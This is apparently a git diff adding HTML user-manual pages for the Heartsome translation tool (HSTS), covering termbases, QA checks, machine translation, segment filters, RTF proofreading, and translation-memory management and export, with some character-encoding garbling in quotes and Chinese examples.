    To add a term to your termbase, follow these steps:

    + +
      +
    1. +

      Check that the default termbase has been set up for the + project. For details about this, please see Figure 69, “Project Settings: Termbase
â€:

      +
    2. +
    3. +

      Select source term and target term at the same + timein one opened XLIFF.

      + +
      +

      Figure 85. Add Term

      +
      + + +
      +
      Add Term
      +
      +
      +
      +
      +
    4. +
    5. +

      Click Translation menu > + Add Term (Or use the shortcut + keysCtrl/Command+T); + In the Add Terms to + Termbasedialog box, the selected + source term and target + term will be automatically entered in the + corresponding field;

      + +
      +

      Figure 86. Add Term dialog box

      +
      + + +
      +
      Add Term dialog box
      +
      +
      +
      +
      +
    6. +
    7. +

      You can also fill in the Attribute + field, so that it is easier to distinguish the different + translations for one term depending on the client or subject + matter.

      +
    8. +
    9. +

      Finally, click OK to finish adding + the term.

      +
    10. +
    + +

    Users can go to Tools menu > + Options > + Translation > + Termbase to change settings for term + repetitions. Details can be found at the section called “Import TBX filesâ€.

    +
    + +
    +

    +Get term for current segment

    + + +

    When the termbase has been correctly set up, every time a + segment is selected, HSTS will automatically retrieve terms from the + termbase and display them in the + Termbase window.

    + +
    +

    Figure 87. Term match

    +
    + + +
    +
    Term match
    +
    +
    +
    +
    +
    + +
    +

    +Insert term into translation

    + + +

    Place the cursor in the translation field and double-click the + term in the Termbase window. The + translation for the term will be inserted where the cursor is. In + addition, you can also use shortcut keys Ctrl + + Shift + 1 ~ 0 to + insert the term 1 ~ 10.

    + +
    +

    Figure 88. Insert term

    +
    + + +
    +
    Insert term
    +
    +
    +
    +
    +
    + +
    +

    +Search term

    + + +

    Follow these steps to search for a term in the + termbase:

    + +
      +
    1. +

      Check that the termbase has been set up for the project. + For details about this please see Figure 69, “Project Settings: Termbase
â€.

      +
    2. +
    3. +

      Select the term you would like to search for in either the + source or translation column of the opened XLIFF file.

      + +
      +

      Figure 89. XLIFF editor: Select text to search

      +
      + + +
      +
      XLIFF editor: Select text to search
      +
      +
      +
      +
      +
    4. +
    5. +

      Click Translation menu > + Search Term.

      +
    6. +
    7. +

      In the Search Term dialog + box that pops up, type in the term in the search box. If you had + previously selected the term, it will be automatically filled in + the search box. You may also need to configure the following + settings as appropriate:

      + +
      +

      Figure 90. Search term

      +
      + + +
      +
      Search term
      +
      +
      +
      +
      + +
        +
      • +

        Case-sensitive

        +
      • +
      • +

        Ignore tags

        +
      • +
      • +

        Regular expressions

        +
      • +
      • +

        Match value

        + +

        Similarity to the searched term in terms of match + value.

        +
      • +
      • +

        Termbase

        +
      • +
      • +

        Target Languages

        +
      • +
      +
    8. +
    9. +

      Click the Search button to see + results.

      +
    10. +
    +
    +
    + +
    +

    +QA

    + + +

    HSTS provides a wide range of QA features to help users improve + translation quality in various ways. From Tools + > Options > + QA > QA, you + can activate the following QA items:

    + +
    +

    Figure 91. Options: QA

    +
    + + +
    +
    Options: QA
    +
    +
    +
    +
    + +
      +
    • +

      Term consistency

      + +

      Check that terms are translated correctly as per the + termbase.

      +
    • +
    • +

      Numeral consistency

      + +

      Check that numerals in the source are correctly transferred + to the translation.

      +
    • +
    • +

      Tag consistency

      + +

      Check that tags in the source are correctly transferred to + the translation.

      +
    • +
    • +

      Non-translatable text

      + +

      Check that placeables in the source are correctly + transferred to the translation.

      +
    • +
    • +

      Leading/trailing spaces

      + +

      Check that spacing at the beginning/end of the translation + is consistent with the source.

      +
    • +
    • +

      Segment completeness

      + +

      Check that there are no empty translation fields or + different fields from the source.

      +
    • +
    • +

      Target length limit

      + +

      Check that the translation is within the word count limit. + This is typically a requirement for software UIs or subtitles for + videos, etc.

      +
    • +
    • +

      Spell check

      + +

      Check that there are no spelling mistakes in the + translation.

      +
    • +
    • +

      Segment consistency

      + +

      Check for translation consistency and inconsistency.

      +
    • +
    + +

    Among these QA items, all except Segment + consistency can be checked using “Auto-check + Policyâ€. This means you can choose to automate one or multiple + QA checks upon completing or approving + segments. We recommend activating automatic QA checks + during translation, in order to identify problems immediately and to + solve them as soon as possible.

    + +

    Segments that fail to pass the QA + checks will be displayed in the QA Results window. A + double-click on a QA issue will direct you to that particular segment. + Each line in the results corresponds to one problem. Therefore, there + will be multiple results shown for one segment if it is found to have + multiple QA problems.

    + +
    +

    Note

    +

    In some cases, problems identified by the QA checks may not + turn out to be problems at all.For example, spaces at the beginning + and ends of paragraphs are necessary in Latin languages, but not in + Asian languages. Therefore, translators should decide whether the QA + problems identified need to be corrected depending on the particular + requirements of the target language.

    +
    +
    + +
    +

    +Quick Translation

    + + +

    HSTS's quick translation feature is called Example + Based Machine Translation (EBMT). This feature can replace + terms in the current segment with matching terms from the TM, + automatically making a fairly good translation. When combining TM + matches and terms, quick translation can produce as high quality + translation as a TM, while reducing the cumbersome job of replacing + terms manually. The example below shows a scenario where fast + translation can be of use:

    + +
      +
    • +

      Precondition

      + +
        +
      1. +

        The segment “This is a black keyboard. â€and + its translation “这是一åªé»‘色的键盘。 both exist in the + TM.â€

        + +
        +

        Figure 92. Quick translation: TM

        +
        + + +
        +
        Quick translation: TM
        +
        +
        +
        +
        +
      2. +
      3. +

        These terms exist in the termbase: + “black-黑色的â€, “keyboard-键盘â€, + “white-白色的†and “mouse-é¼ æ ‡â€

        + +
        +

        Figure 93. Quick translation: Termbase

        +
        + + +
        +
        Quick translation: Termbase
        +
        +
        +
        +
        +
      4. +
      +
    • +
    • +

      Source of current segment

      + +

      “This is a white mouse.â€

      +
    • +
    • +

      Translation generated through quick translation

      + +

      “这是一åªç™½è‰²çš„鼠标。â€

      + +
      +

      Figure 94. Quick Translation

      +
      + + +
      +
      Quick Translation
      +
      +
      +
      +
      +
    • +
    + +

    There are two prerequisites for quick translation:

    + +
      +
    1. +

      There is a match in TM for the current segment (meeting the + minimum match value set in + Tools menu > + Options > + Translation > + Translation Memory, which was set at + 35% in the example above).

      +
    2. +
    3. +

      Apart from TM matches, the rest of the current source text + has matching terms in the termbase.

      +
    4. +
    + +

    We recommend going to Tools menu > + Options > + Translation and activating the + Auto Quick Translation feature. If this has not + been activated, it is also possible to implement quick translation + manually by going to Translation menu > + Quick Translation.

    + +
    +

    Note

    +

    If the current segment does not meet the prerequisites for + quick translation, activating this feature will not bring any + visible results.

    +
    +
    + +
    +

    +Machine Translation

    + + +

    HSTS provides support for Bing Translator and Google Translate + for machine translation (MT). The former MT engine can be used for + free while the latter requires payment. To use machine translation, go + to Tools > Options + > Translation > Google + Translate/Bing Translator and + configure the following settings:

    + +
    +

    Figure 95. Machine translation: Google Translate


    +
    + + +
    +
    Machine translation: Google Translate

    +
    +
    +
    +
    + +
    +

    Figure 96. Machine translation: Bing Translator

    +
    + + +
    +
    Machine translation: Bing Translator
    +
    +
    +
    +
    + +
      +
    • +

      Key

      + +
        +
      • +

        Google Translate: Only private key required

        +
      • +
      • +

        Bing Translator: Requires Client ID + and Key

        +
      • +
      +
    • +
    • +

      Automatic Machine Translation

      + +
        +
      • +

        When no pre-stored translations from Google + Translate/Bing Translator

        +
      • +
      • +

        Always

        +
      • +
      • +

        Never, I'll do that manually

        +
      • +
      +
    • +
    • +

      Pre-store machine translation

      + +

      Pre-store machine translation results during pretranslation. + This can avoid repeated visits and additional costs while getting + access to machine translation matches without delay.

      +
    • +
    +
    + +
    +

    +Filter segments

    + + +

    Sometimes during translation, it is necessary to filter segments + by certain characteristics (e.g. statuses, matches) so as to narrow + down the search scope, eliminate interruptions and facilitate batch + operations. HSTS provides following segment filter:

    + +
    +

    Figure 97. XLIFF editor: Segments filter

    +
    + + +
    +
    XLIFF editor: Segments filter
    +
    +
    +
    +
    + +
      +
    • +

      Locked

      +
    • +
    • +

      Unlocked

      +
    • +
    • +

      Pending

      +
    • +
    • +

      Not Sent to TM

      +
    • +
    • +

      Segments with comments

      +
    • +
    • +

      Untranslated

      +
    • +
    • +

      Draft

      +
    • +
    • +

      Translated

      +
    • +
    • +

      Unfinished

      +
    • +
    • +

      Approved

      +
    • +
    • +

      Unapproved

      +
    • +
    • +

      Signed-off

      +
    • +
    • +

      Not Signed-off

      +
    • +
    • +

      Internal repetitions

      +
    • +
    • +

      Context Matches

      +
    • +
    • +

      Exact Matches

      +
    • +
    • +

      Fuzzy match

      +
    • +
    + +

    In addition, you can also click on Customize + Filters button on the right of segment filter drop-down + list to add a custom filter:

    +
    +

    Figure 98. XLIFF editor: Add your own custom segment filter

    +
    + + +
    +
    XLIFF editor: Add your own custom segment filter
    +
    +
    +
    +


    You can add custom filter as following + conditions:

    + +
    +

    Figure 99. Manage custom filters

    +
    + + +
    +
    Manage custom filters
    +
    +
    +
    +
    + +
      +
    • +

      Combination of the following types of criteria

      + +

      Meet all of the following conditions, + meet one of the following conditions

      +
    • +
    • +

      Keyword

      + +

      Contain/Exclude: + Specified text

      +
    • +
    • +

      Comments

      + +

      Contain/Exclude/Equal/Not + Equal To: Specified text

      +
    • +
    • +

      Attribute

      + +

      Property + nameequals specified text and + property value equals + specified text

      +
    • +
    + +

    Successfully added new segment filter will display at the bottom + of the segment filter list.

    +
    +

    Figure 100. Segment custom filters

    +
    + + +
    +
    Segment custom filters
    +
    +
    +
    +


    +
    + +
    +

    +Translation Progress Analysis

    + + +

    Translation progress analysis is performed in a similar way to + the word count analysis:

    + +
      +
    1. +

      From the “Project†or XLIFF sub-folder, choose + one or multiple .hsxliff files/folders, and from + either the right-click menu or the Project + menu, select Translation Progress + Analysis;

      +
      +

      Figure 101. Translation Progress Analysis.

      +
      + + +
      +
      Translation Progress Analysis.
      +
      +
      +
      +


      +
    2. +
    3. +

      To confirm the files you want to analyze, click + OK button。

      +
      +

      Figure 102. Translation progress analysis

      +
      + + +
      +
      Translation progress analysis
      +
      +
      +
      +


      +
    4. +
    5. +

      When the analysis has finished, a report of the analysis + results will open automatically.

      + +
      +

      Figure 103. Results of translation progress analysis

      +
      + + +
      +
      Results of translation progress analysis
      +
      +
      +
      +
      +
    6. +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s05.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s05.html new file mode 100644 index 0000000..c00913b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s05.html @@ -0,0 +1,480 @@ + + + +5. Edit & QA + + + + + + + +
    +

    +5. Edit & QA

    + + +
    +

    +Open

    + + +

    The "Open file" operation for Edit & QA is the same as for + "Translate". For details, please see the section called “Openâ€.

    +
    + +
    +

    +Change segment status

    + + +

    The "Change segment status" operation for Edit & QA is the + same as for "Translate", except that the specific status values vary a + little. For details, please see the section called “Change segment statusâ€.

    +
    + +
    +

    +Edit translation

    + + +

    The "Edit translation" operation for Edit & QA is the same + as for "Translate". For details, please see the section called “Enter translationâ€.

    +
    + +
    +

    +Comments

    + + +

    Any opinions or notes on source or translated text can be added + as segment comments. A segment with a comment will have a comment icon + shown in the status column. To process comment, you can:

    + +
    +

    +Add

    + + +

    Select one or multiple segments, go to the right-click menu or + Edit menu to open Add + Comment and enter a comment:

    +
    +

    Figure 104. Add Comment

    +
    + + +
    +
    Add Comment
    +
    +
    +
    +


    + +
    +

    Figure 105. Add Comment dialog box

    +
    + + +
    +
    Add Comment dialog box
    +
    +
    +
    +
    + +
      +
    • +

      Apply to:

      + +
        +
      • +

        Select desired segments

        + +

        The comment will only be added to the segment(s) + selected.

        +
      • +
      • +

        All Segments

        + +

        The comment will be added to all segments.

        +
      • +
      +
    • +
    • +

      Comments

      + +

      The comment message.

      +
    • +
    + +

    HSTS allows multiple comments to be added to one + segment.

    +
    + +
    +

    +Edit

    + + +

    Select a segment and go to the right-click menu > + Edit Comment. When the + Edit Comment dialog box opens, select + the comment entry you would like to edit. Click the Edit + Comment button to edit the comment. If the comment being + edited was added to “All Segmentsâ€, then edits to the + comment will apply to all other segments.

    +
    +

    Figure 106. Edit Comment

    +
    + + +
    +
    Edit Comment
    +
    +
    +
    +


    + +
    +

    Figure 107. Edit Comment dialog box

    +
    + + +
    +
    Edit Comment dialog box
    +
    +
    +
    +
    +
    + +
    +

    +Delete

    + + +

    Select one or multiple segments and go to the right-click menu + or Edit menu > Delete + Comment. Once confirmed, all comments for the selected + segments will be deleted. If the deleted comment was added to + “All Segmentsâ€, then deleting any one occurrence of + this comment will also delete all other occurrences.

    +
    +
    + +
    +

    +Editing Progress Analysis

    + + +

    The "Edit progress analysis" operation is the same as + "Translation progress analysis". For details please see the section called “Translation Progress Analysisâ€.

    +
    + +
    +

    +RTF external proofreading

    + + +

    Some editors or proofreaders may prefer to do their job using + Word or similar text editing tools, and HSTS has provided the RTF + export/import feature to meet their needs. Prior to + editing/proofreading, export the XLIFF file to an RTF file and use any + tool that supports RTF file editing (e.g., Word) to do the + editing/proofreading. When finished, import the updated RTF back to + XLIFF. The specific procedure is as follows:

    + +
    +

    +Export RTF

    + + +
      +
    1. +

      Select the project or open the XLIFF file to be exported, + go to the File menu or right-click menu and + open Export RTF.

      + +
      +

      Figure 108. Export RTF

      +
      + + +
      +
      Export RTF
      +
      +
      +
      +
      +
    2. +
    3. +

      In the Export XLIFF file as + RTF dialog, the selected XLIFF file has been + filled, you need to configure the following settings:

      +
      +

      Figure 109. Export XLIFF files as RTF

      +
      + + +
      +
      Export XLIFF files as RTF
      +
      +
      +
      +


      + +
        +
      • +

        Export to RTF

        + +

        Apart from source and translated text, you can also + choose to export segment statuses and comments.

        +
      • +
      • +

        Export Type

        + +
          +
        • +

          Exclude

          + +
            +
          • +

            Locked

            +
          • +
          • +

            Context Match + Segments

            +
          • +
          • +

            Exact Match + Segments

            +
          • +
          +
        • +
        • +

          Only Export

          + +
            +
          • +

            Segments with + comments

            +
          • +
          • +

            Pending segments

            +
          • +
          +
        • +
        +
      • +
      • +

        Save RTF to

        +
      • +
      +
    4. +
    5. +

      Once the settings above have been configured, click + OK to export.

      +
    6. +
    +
    + +
    +

    +Import RTF

    + + +
      +
    1. +

      Select the project or open the XLIFF file to be updated, + go to the File menu or right-click menu and + choose Import RTF.

      + +
      +

      Figure 110. Import RTF

      +
      + + +
      +
      Import RTF
      +
      +
      +
      +
      +
    2. +
    3. +

      Select the edited/proofread RTF file and click the + OK button.

      +
      +

      Figure 111. Import RTF to update XLIFF

      +
      + + +
      +
      Import RTF to update XLIFF
      +
      +
      +
      +


      +
    4. +
    +
    +
    + +
    +

    +QA

    + + +

    HSTS's QA features have been introduced in the previous the section called “QAâ€section. We recommend activating + “automatic QA check†during translation, but users can + always choose to perform individual QA checks at any time.

    + +
    +

    +Individual QA check

    + + +

    You can perform individual QA checks for a single or multiple + XLIFF files currently open in the editor (including + “separately openedâ€, and “merged and + opened†ones), checking “numeral consistency†or + “tags consistencyâ€. Problems will be shown in the + QA Results list.

    + +
    +

    Figure 112. Individual QA check

    +
    + + +
    +
    Individual QA check
    +
    +
    +
    +
    +
    + +
    +

    +Global QA check

    + + +

    A global QA check will run QA checks on multiple XLIFF files + all at once, helping users to perform final quality checks on their + own assignment, task or even the whole project. The procedure is + detailed below:

    + +
      +
    1. +

      Select the project or open the XLIFF(s) to be checked, + then go to QA or the right-click menu to open + QA.

      +
      +

      Figure 113. QA

      +
      + + +
      +
      QA
      +
      +
      +
      +


      + +
      +

      Figure 114. QA dialog

      +
      + + +
      +
      QA dialog
      +
      +
      +
      +
      +
    2. +
    3. +

      Click the Options button to select + the QA items to be checked and configure the relevant settings + for each item.

      + +
      +

      Figure 115. Options: QA

      +
      + + +
      +
      Options: QA
      +
      +
      +
      +
      +
    4. +
    5. +

      Go back to the QA dialog + box and click OK to start the QA check. + The results of the QA check will be displayed in the + QA Results window as shown + below:

      + +
      +

      Figure 116. QA Results

      +
      + + +
      +
      QA Results
      +
      +
      +
      +
      +
    6. +
    +
    +
    + +
    +

    +Preview

    + + +

    This allows the translator to preview what the translated file + will look like when the XLIFF file is converted to the target file. + How to preview a translation: Open (either separately or merge and + open) the XLIFF file, and then simply click + Translation > + Preview.

    +
    +

    Warning

    +

    If the source file is in an XML-based format (including + .docx and other XML-based compressed formats), + missing or wrong tags in the translation are likely to result in + an improperly structured XML file being generated when previewing. + This could mean that the preview may fail to open. Therefore, + it is highly recommended to run a tag consistency check + before previewing the translation, and fix all problems + about tags.

    +
    +

    When previewing a translation, the default associated + program with the file type will be used to open and preview the file. + If the particular application is not installed, an error message will + appear and the preview will be aborted. You can copy the preview file + generated under the “/Intermediate/Other†folder to a + computer where the required application has been installed. You can + then preview the translation from there.

    + +
    +

    Figure 117. Preview

    +
    + + +
    +
    Preview
    +
    +
    +
    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s06.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s06.html new file mode 100644 index 0000000..da2c807 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s06.html @@ -0,0 +1,347 @@ + + + +6. Finish project + + + + + + + +
    +

    +6. Finish project

    + + +

    When all segments have been translated following the + aforementioned steps, and after QA checks have been performed, the + project is nearly complete. Complete the below steps to finish the + project.

    + +
    +

    +Merge files

    + + +

    If the translation project included files that needed to be + split up earlier on during the preparation stage using + the Split up file feature, the + split XLIFF files need to be merged back into one file. The procedure + is detailed below:

    + +
      +
    1. +

      In the project, select + the multiple XLIFF files that were split up from one + XLIFF file.

      + +
      +

      Figure 118. Merge XLIFF files

      +
      + + +
      +
      Merge XLIFF files
      +
      +
      +
      +
      +
    2. +
    3. +

      Make sure the XLIFF files to be merged are indeed from the + same original XLIFF file and that there are no duplicate + or missing parts. See the example below:

      +
      +

      Example 1. Merge XLIFF files

      +
      + + +

      For example, where we are merging two split up + files:

      + +
        +
      1. +

        A file named “File.hsxliff†is first + split up into two files, named + “File_1.hsxliff†and + “File_2.hsxliffâ€.

        +
      2. +
      3. +

        The file “File_2.hsxliff†is further + split up into two smaller files, named + “File_2_1.hsxliff†and + “File_2_2.hsxliffâ€.

        +
      4. +
      5. +

        To do the merge, just select all three files + including “File_1.hsxliffâ€, + “File_2_1.hsxliffâ€, and + “File_2_2.hsxliffâ€.

        +
      6. +
      +
      +
      +


      +
    4. +
    5. +

      Click Finish button.

      +
      +

      Figure 119. Merge XLIFF files

      +
      + + +
      +
      Merge XLIFF files
      +
      +
      +
      +


      +
    6. +
    7. +

      The successfully merged XLIFF file will be saved in the same + folder it was in before splitting. The file name of the merged + file is suffixed with “_merged†for the users' + convenience.

      + +
      +

      Figure 120. The merged XLIFF file

      +
      + + +
      +
      The merged XLIFF file
      +
      +
      +
      +
      +
    8. +
    +
    + +
    +

    +Unlock repetitions

    + + +

    Unlocking repetitions is the reverse operation of locking repeated segments during + preparation of the + translation project. The purpose of unlocking of previously + locked repetitions is to apply translations to these repeated + segments. For the procedure to apply translations to repeated segments + after they have been unlocked, please see propagate translation.

    + +

    All locked segments can be unlocked in a few simple steps as + follows:

    + +
      +
    1. +

      Open or "merge and open" the XLIFF file(s) to be + unlocked.

      +
    2. +
    3. +

      In the editor, filter the segments by “locked + segmentsâ€.

      + +
      +

      Figure 121. Unlock segments: Filter locked segments

      +
      + + +
      +
      Unlock segments: Filter locked segments
      +
      +
      +
      +
      +
    4. +
    5. +

      Select the segments to be unlocked.

      +
      +

      Tip

      +

      You can use Ctrl/Shift + and the left mouse button to select multiple segments.

      +
      +
    6. +
    7. +

      Right-click > Lock。

      + +
      +

      Figure 122. Unlock segments

      +
      + + +
      +
      Unlock segments
      +
      +
      +
      +
      +
    8. +
    +
    + +
    +

    +Propagate Translation

    + + +

    Propagate Translation is mainly used to handle repetitions by + applying the translation of a segment to all other segments that share + the same source text. This feature is commonly used in combination + with the "lock/unlock repeated segments" feature previously mentioned. + Follow these steps:

    + +
      +
    1. +

      Open or “merge and open â€the XLIFF file that + contains the repetitions to which you want to apply + translations.

      +
    2. +
    3. +

      Click Translation > + Propagate Translationï¼›

      + +
      +

      Figure 123. Propagate Translation

      +
      + + +
      +
      Propagate Translation
      +
      +
      +
      +
      +
    4. +
    5. +

      In the editor, filter the segments by Internal + Repetitions.

      +
    6. +
    7. +

      Check if the segments require internal tags to be adjusted + manually.

      +
    8. +
    + +
    +

    Note

    +

    By default, Propagating Translation will + not overwrite any existing translations. If the + existing translation is no longer needed, it should be deleted first + using the Edit > Delete + Translation feature before the Propagate + Translation feature is implemented.

    +
    +
    + +
    +

    +Convert XLIFF to target file

    + + +

    When all these steps have been completed, we recommend running + another QA to make sure there are no + obvious mistakes (especially with internal tags) in the translation. + After that, you are ready to generate the target file. The procedure + to generate translated target files is as follows:

    + +
      +
    1. +

      In the project, select the + XLIFF file(s)/folder(s) to be converted to target file(s).

      +
    2. +
    3. +

      Use the right-click menu or File menu + > Convert to Target Files.

      + +
      +

      Figure 124. Convert XLIFFs to Target Files

      +
      + + +
      +
      Convert XLIFFs to Target Files
      +
      +
      +
      +
      +
    4. +
    5. +

      In the Convert XLIFFs to Target + Files dialog box, confirm the following settings: +

      +
      +

      Figure 125. Convert XLIFFs to Target Files

      +
      + + +
      +
      Convert XLIFFs to Target Files
      +
      +
      +
      +


      + +
        +
      • +

        Encoding

        + +

        The target file's encoding needs to be specified. When + non-“Unicode†encoding is + used, some characters in the target language may not display + properly. Example:

        +
        +

        Example 2. Choose encoding for target file

        +
        + + +

        If the source file is an English file with + “ASCII†encoding, the file cannot use + “ASCII†after it has been translated into + Chinese. Instead, the target file should be saved using + “UTF-8†or “GBK†+ encoding.

        +
        +
        +


        +
      • +
      • +

        Overwrite files with the same + name

        + +

        If there is an existing file sharing the same name as + the target file to be generated, the conversion cannot + continue. Users can select this option if they are sure that + the existing target file with the same name is no + longer needed. Otherwise, users should move or + rename the existing target file before continuing with the + conversion.

        +
      • +
      +
    6. +
    7. +

      Click the OK button. The target file + will be converted as as follows:

      + +
      +

      Figure 126. Target file converted from XLIFF

      +
      + + +
      +
      Target file converted from XLIFF
      +
      +
      +
      +
      +
    8. +
    + +

    The converted target file will stay in the same folder structure + in the “XLIFF†folder (this directory structure is + inherited from that of the “source fileâ€), saved under + “/Target/target language codeâ€.

    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch06.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch06.html new file mode 100644 index 0000000..7964de1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch06.html @@ -0,0 +1,173 @@ + + + +Maintenance and management of TMs and termbases + + + + + + + +
    +

    +Maintenance and management of TMs and termbases

    + + +

    Databases (including TMs and termbases) are among the most essential + components of CAT tools. Their function is to store all translated content + (including sentences and terms) and to display them for users' reference + when appropriate. Databases keep a record of a user's translation history + and associated expertise. Maintenance and management of databases is + therefore an important task.

    + +

    With regard to maintenance and management of databases, we suggest + the following:

    + +
      +
    1. +

      Distinguish between a final database and a + draft database.

      + +

      A final database is a collection of + finalized translations that have been delivered to clients after + thorough translation, editing and proofreading. This database + represents higher translation quality and greater value for reference. + These finalized translations should be saved and backed up for + long-term archival. A final database is one way + these translations can be saved. Such translations can also be saved + as TMX/TBX files or other formats, and + backed up for future use.

      + +

      An draft database is used to keep the draft + translations done by translators throughout the project. Since they + are not yet approved, these translations might include some improperly + translated text or mistakes. However, a draft database can be more + useful than a final database in the sense that the draft database may + contain translations that are more relevant to the current project and + more up to date.

      +
    2. +
    3. +

      Categorise databases

      + +

      Final databases can be divided into various categories by + industry sector, subject matter, language pair or project, etc. + Translations that fall into the same category can be saved in the same + database. During a translation project, final databases of the same + category can be provided to translators for reference.

      + +

      Draft databases can be created based on the project and made + available to all translators, editors and proofreaders to refer to and + make changes to over the project life cycle. The finalized + translations can be obtained at the end. When the finalized + translations have been saved in the final databases, the draft + databases can be saved or deleted.

      +
    4. +
    + +
    +

    +1. Update Translation Memory

    + + +

    Updating a TM means to save all the source segments and + corresponding translations from a bilingual XLIFF file into the TM upon + translation completion. Usually this is to save all final translations + of a project into the final database. Follow these steps:

    + +
      +
    1. +

      Select the project, from the right-click + menu/Project menu, select Project + Settings > Translation + Memory. Make sure a default TM + has been set for the project (for details, see Figure 52, “Project Settings: TMâ€).

      +
      +

      Tip

      +

      For finalized translations, we recommend + creating a new database or using an existing final database to + save them instead of using an draft database.

      +
      +
    2. +
    3. +

      Select one or multiple XLIFF files/folders from the project, + from the right click menu/Project menu, click + Update Translation Memory.

      + +
      +

      Figure 127. Update Translation Memory

      +
      + + +
      +
      Update Translation Memory
      +
      +
      +
      +
      +
    4. +
    5. +

      In the Update Translation + Memory dialog box, configure the following settings + as appropriate:

      +
      +

      Figure 128. Update Translation Memory

      +
      + + +
      +
      Update Translation Memory
      +
      +
      +
      +


      + +
        +
      • +

        Range

        + +

        The segment status(es) to be saved in the database

        + +
          +
        • +

          Draft

          +
        • +
        • +

          Translated

          +
        • +
        • +

          Approved

          +
        • +
        • +

          Signed-off

          +
        • +
        • +

          Locked

          +
        • +
        +
      • +
      • +

        Options

        + +
        +
      • +
      +
    6. +
    7. +

      Click the OK button.

      +
    8. +
    +
    + + + + + + + + +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s02.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s02.html new file mode 100644 index 0000000..3e76d12 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s02.html @@ -0,0 +1,114 @@ + + + +2. Translation Memory Management + + + + + + + +
    +

    +2. Translation Memory Management

    + + +

    TMs can be created during project creation, but HSTS also has a + specialized TM management feature that helps users to create or delete + TMs on database servers without having to open projects. The TM + management interface can be opened by going to + Databases > Translation Memory + Management.

    + +
    +

    +Create

    + + +

    Follow these steps to create a TM from the + Translation Memory Management dialog + box:

    + +
    +

    Figure 129. Translation Memory Management

    +
    + + +
    +
    Translation Memory Management
    +
    +
    +
    +
    + +
      +
    1. +

      Select database server type in the left side.

      +
      +

      Figure 130. Translation Memory Management

      +
      + + +
      +
      Translation Memory Management
      +
      +
      +
      +


      +
    2. +
    3. +

      Enter connection information for the relevant database + server on the right, and click the Search + button.

      +
    4. +
    5. +

      A list of TMs on this database server will be displayed, as + long as the database information entered is correct and that both + the server and the network are running.

      +
    6. +
    7. +

      Click the Create button, enter the + name of the TM and click OK.

      +
      +

      Figure 131. Create Translation Memory

      +
      + + +
      +
      Create Translation Memory
      +
      +
      +
      +


      +
    8. +
    + +

    In step 3, upon successful connection, the database information + will be automatically saved in the respective database type to the + left of the dialog box. When you want to search in this database + server, simply click the appropriate database without having to enter + the database information again.

    +
    + +
    +

    +Delete

    + + +

    The steps for deleting a database from the + Translation Memory Management dialog + box are similar to the steps for creating it, except that the last + step should be to click the Delete button and + then OK.

    + +
    +

    Warning

    +

    Once a TM has been deleted, it cannot be + restored. Therefore, please make sure that a TMX back-up + has been exported for the TM, or that the content in the TM is no + longer needed prior to deleting a TM.

    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s03.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s03.html new file mode 100644 index 0000000..cd5c0ee --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s03.html @@ -0,0 +1,224 @@ + + + +3. Export TM as TMX + + + + + + + +
    +

    +3. Export TM as TMX

    + + +

    TMX files are widely used across different CAT tools for + exchanging TMs, and HSTS supports both import and export of TMX files. + Importing TMX files is detailed in the project creation section (see + the section called “Import TMX filesâ€). The procedure for + exporting TMs as TMX files is detailed below:

    + +
      +
    1. +

      Click Databases > Export + TMX.

      + +
      +

      Figure 132. Export TM as TMX

      +
      + + +
      +
      Export TM as TMX
      +
      +
      +
      +
      +
    2. +
    3. +

      In the Export TM To TMX files + dialog box, the following settings need to be configured:

      +
      +

      Figure 133. Export TM To TMX files

      +
      + + +
      +
      Export TM To TMX files
      +
      +
      +
      +


      + +
        +
      • +

        Translation Memory

        + +
          +
        • +

          Add

          + +

          Click this button and the Translation + Memory Management dialog box will pop up. + From there, select the TM to be exported and click + OK.

          + +
          +

          Figure 134. Select the TM to be exported

          +
          + + +
          +
          Select the TM to be exported
          +
          +
          +
          +
          +
        • +
        • +

          Remove

          + +

          Remove a TM from the list of "TMs to be + exported".

          +
        • +
        • +

          Export Languages

          + +

          When a TM from the list is selected, the languages of + the TM will be shown here. You must select at least two + languages to export the TM.

          +
        • +
        • +

          Source Language

          + +

          If you are not sure about the source language of the + exported TMX file you may select + “*all*â€.

          + +
          +

          Figure 135. Export TMX options

          +
          + + +
          +
          Export TMX options
          +
          +
          +
          +
          +
        • +
        +
      • +
      • +

        Filter Rules

        + +
          +
        • +

          Add

          + +

          When the selected filter rule is “N/Aâ€, + click Edit to add a new filter rule. + A filter rule includes the following information:

          + +
          +

          Figure 136. Export TMX: Filter rules

          +
          + + +
          +
          Export TMX: Filter rules
          +
          +
          +
          +
          + +
            +
          • +

            Name

            +
          • +
          • +

            Type of criteria combination

            + +

            Meet all of the following + conditions, meet one of the + following conditions

            +
          • +
          • +

            Criteria

            + +
              +
            • +

              Segment

              +
            • +
            • +

              Created on

              +
            • +
            • +

              Modified on

              +
            • +
            • +

              Created by

              +
            • +
            • +

              Modified by

              +
            • +
            • +

              Comments

              +
            • +
            +
          • +
          +
        • +
        • +

          Edit

          + +

          When you select a filter rule that has already been + saved, you can click the Edit button + to edit the rule.

          +
        • +
        • +

          Delete

          + +

          Delete the selected filter rule.

          +
        • +
        • +

          Only export flagged + segments

          + +

          Only export flagged segments that meet the criteria of + the specified filter rules.

          +
        • +
        +
      • +
      • +

        Export Options

        + +
          +
        • +

          TMX level 1

          + +

          Remove all internal tags. The options should be + enabled if you want to import the exported TMX into + Trados.

          +
        • +
        • +

          Custom Coding

          + +

          Specify the encoding used for TMX files. The default + coding is “UTF-8†and usually does not need to + be changed. If you want to import the exported TMX into + Trados, custom encoding “UTF-16LE†should be + selected.

          +
        • +
        +
      • +
      • +

        TMX save path

        +
      • +
